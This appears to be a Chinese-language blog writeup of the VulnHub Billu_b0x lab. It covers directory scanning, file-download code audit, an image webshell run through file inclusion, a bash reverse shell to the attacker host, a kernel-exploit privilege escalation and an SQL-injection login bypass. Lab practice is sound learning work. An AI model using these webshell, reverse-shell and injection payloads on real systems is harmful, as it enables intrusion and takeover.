前言
最近闲来无事,觉得自己学习理论知识太多,实验做的比较少,就在VulnHub上下载靶机来做一做,感觉VulnHub上有些靶机挺有意思的,取得root的方式也不唯一,这篇博客是VulnHub系列的第一篇writeup,之后也会把自己做的wp分享上来。
正文
下载靶机Billu_b0x到本地,用VMware打开,设置网络为NAT,和kali同属于一个网段。
进行主机扫描和端口扫描

发现靶机开启了http服务,用dirb进行目录扫描
dirb http://192.168.2.133 /usr/share/dirb/wordlists/big.txt
根据扫描结果可以看到网站还有phpmyadmin服务,同时扫描根目录下文件有:
1 | http://192.168.2.133/add |
查看网站突破点
网站主页面:

主页面需要登陆,尝试爆破和万能密钥没用,看其他页面

上传文件没用,猜测是个静态页面,迷惑用的

phpinfo信息

这里提示file参数为空,尝试get提交无用,post提交:

通过此处将网站上的已经扫出来的文件下载,进行代码审计

在c.php文件中可以看到数据库的账号密码,通过前端phpmyadmin登陆

在数据库ica_lab下的auth表中发现网站主页登陆的用户名密码

这里发现可以通过phpmyadmin执行SQL语句,并且可以通过phpinfo知道网站绝对路径,想通过SQL写入webshell,但是发现权限不够

上传图片马取得webshell
换一种思路,通过刚才得到的用户名密码登陆网站主页:

在主页发现文件上传点,是用来上传用户图像的,之前爆目录的时候知道这里的路径为网站根目录/uploaded_images/图片文件

这里可以制作一个图片马来上传:
写好php代码
1
system($_GET['cmd']);
利用cmd来制作图片马

将图片马上传

图片马上传了,还需要文件包含漏洞得把这个图片让后端当成php来解析,之前在代码审计的时候,发现在panel.php有文件包含漏洞:

测试一下——不成功,没反应
猜测是因为图片太大,php代码加在图片末尾,没加载出来。
太坑了,在网上找了好久,终于找到一个图片大小比较小的,测试成功

可以看到这里的权限是www-data
反弹一个低权限shell
构建一个shell反弹出来:
echo "bash -i >& /dev/tcp/192.168.2.132/4444 0>&1" | bash
这里要进行url编码:
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.132%2F4444%200%3E%261%22%20%7C%20bash

然后在终端中用nc监听

提权
拿到shell之后,要进行提权到root权限,使用uname -a和cat /etc/issue来查看系统内核版本,考虑使用本地溢出漏洞来进行提权

下载exp:https://www.exploit-db.com/exploits/37292
注意的是网站根目录没有写权限,但是在/uploaded_images/是一个写权限目录
为了上传文件方便,这里再写一个webshell用菜刀连上

直接把exp拖进去就可以了,然后编译执行,提权到root

总结
这个靶机总体来说比较简单,但是渗透的时候也遇到了一些坑,增长了很多经验,值得初学者学习学习。
番外
另外两种突破点:
在test.php文件任意下载漏洞中,可以通过phpmyadmin的配置文件获取root密码,需要猜路径,根据爆破出的目录,该配置文件所在路径为:
/var/www/phpmy/config.inc.php
打开文件,可以看到root的密码是
roottoor,直接ssh连接即可
根据代码审计,在对首页登陆index.php的尝试SQL注入绕过

则payload为
'or 1=1 --\'(这里不太明白,或许就是or把pass和uname弄没了,导致where 1,最后查出数据库结果?)
SQL注入绕过成功